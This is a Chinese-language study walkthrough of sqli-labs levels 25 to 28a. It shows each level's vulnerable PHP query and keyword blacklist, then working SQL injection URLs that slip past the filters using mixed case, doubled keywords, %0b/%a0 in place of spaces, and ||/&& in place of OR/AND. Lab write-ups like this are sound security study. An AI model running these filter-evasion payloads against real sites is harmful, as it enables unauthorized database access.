本文记录 SQL 注入的学习过程,资料为 SQLi
Less - 25: GET - Error based - All your OR & AND belong to us - String Single Quote
源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id; }
思路
本关主要为 or and 过滤,如何绕过 or 和 and 过滤。
- 大小写变形 Or,OR,oR
- 编码,hex,urlencode
- 添加注释 /*or*/
- 利用符号 and=&& or=||
报错注入 or 示例
http://10.10.10.137/sqli-labs/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))--+
基于报错的 and 示例
http://10.10.10.137/sqli-labs/Less-25/?id=1&&1=1--+
Less - 25a: GET - Blind Based - ALL your OR & AND belong to us - Intiger based
源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id; }
思路
不同于 25 关的是 sql 语句中对于 id,没有”的包含,同时没有输出错误项,报错注入不能用。
其余基本上和 25 示例没有差别。此处采取两种方式:延时注入和联合注入。测试
http://10.10.10.137/sqli-labs/Less-25a/?id=-1 UNION select 1,@@basedir,3#
此处我们依旧用 || &&来代替 and,or。
Less - 26: GET - Error based - All your SPACES and COMMENTS belong to us
简介
本关结合 25 关,将空格,or,and,/*,#,–,/等各种符号过滤,此处对于 and,or 的处理方法不再赘述,参考 25.
替换
- 对于注释和结尾字符的我们此处只能利用构造一个’ 来闭合后面到’
对于空格,有较多的方法:
%09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格
测试
URL 输入 ?id=1’%0b||’1
http://10.10.10.137/sqli-labs/Less-26/?id=1'%0b||'1
源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }
构造后的语句
$sql="SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1";
第一个’ 首先闭合id=’$id’ 中的’,%a0 是空格的意思, 同时%0b 也是可以通过测试的,其他的经测试是不行的。||是或者的意思,’1 则是为了闭合后面的’ 。
构造测试语句
http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271
也可以利用报错注入和延时注入等方式进行注入。
Less - 26a: GET - Blind Based - All your SPACES and COMMENTS belong to us - String - Single Quotes - Parenthesis
简介
这关与 26 的区别在于,sql 语句添加了一个括号,同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用 union 注入。
源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }
测试
联合查询
http://10.10.10.137/sqli-labs/Less-26a/?id=100') union%a0select%a01,2,3||('1
explain:基础与 26 一致,我们直接用’) 闭合前面的,然后跟上自己构造的注入语句即可。最后利用(’1 进行闭合即可。
http://10.10.10.137/sqli-labs/Less-26a/?id=100')union%a0select%a01,user(),('3
可将user()更换为你想要的sql 语句。同时该例可以利用延时注入。前面已经有介绍了,自行构造即可。
Less - 27: GET - Error Based- All your UNION & SELECT belong to us - String - Single Quote
思路
本关主要考察将 union,select 和 26 关过滤掉的字符。此处我们依旧和 26 关的方式是一样的,只需要将 union 和 select 改为大小写混合就可以突破
源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out select return $id; }
测试
http://10.10.10.137/sqli-labs/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1
TIPS:uniunionon 也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。
http://10.10.10.137/sqli-labs/Less-27/?id=100%27ununionion%a0SelEcT%a01,database(),3||%271
Less - 27a: GET - Blind Based- All your UNION & SELECT belong to us - Double Quotes
思路
本关与 27 关的区别在于对于 id 的处理,这里用的是” ,同时 mysql 的错误不会在前端页面显示。
源代码
$id = '"' .$id. '"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out Select return $id; }
测试
http://10.10.10.137/sqli-labs/Less-27a/?id=100"%a0UnIon%a0SElecT%a01,user(),"3
TIPs:这里说下以上 payload 我们利用最后的3 前面的” 将后面的” 给闭合掉。或者亦可以利用以前的方法1,user(),3 || “1,同时本关可以用延时注入的方法进行注入。
Less - 28: GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis
源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT. return $id; }
测试
http://10.10.10.137/sqli-labs/Less-28/?id=100')union%a0select(1),(user()),(3)||('1
Less - 28a: GET - Blind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis
源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; function blacklist($id) { //$id= preg_replace('/[\/\*]/',"", $id); //strip out /* //$id= preg_replace('/[--]/',"", $id); //Strip out --. //$id= preg_replace('/[#]/',"", $id); //Strip out #. //$id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. //$id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces. return $id; }
思路
本关与28 基本一致,只是过滤条件少了几个。
测试
http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271
http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,user(),3||(%273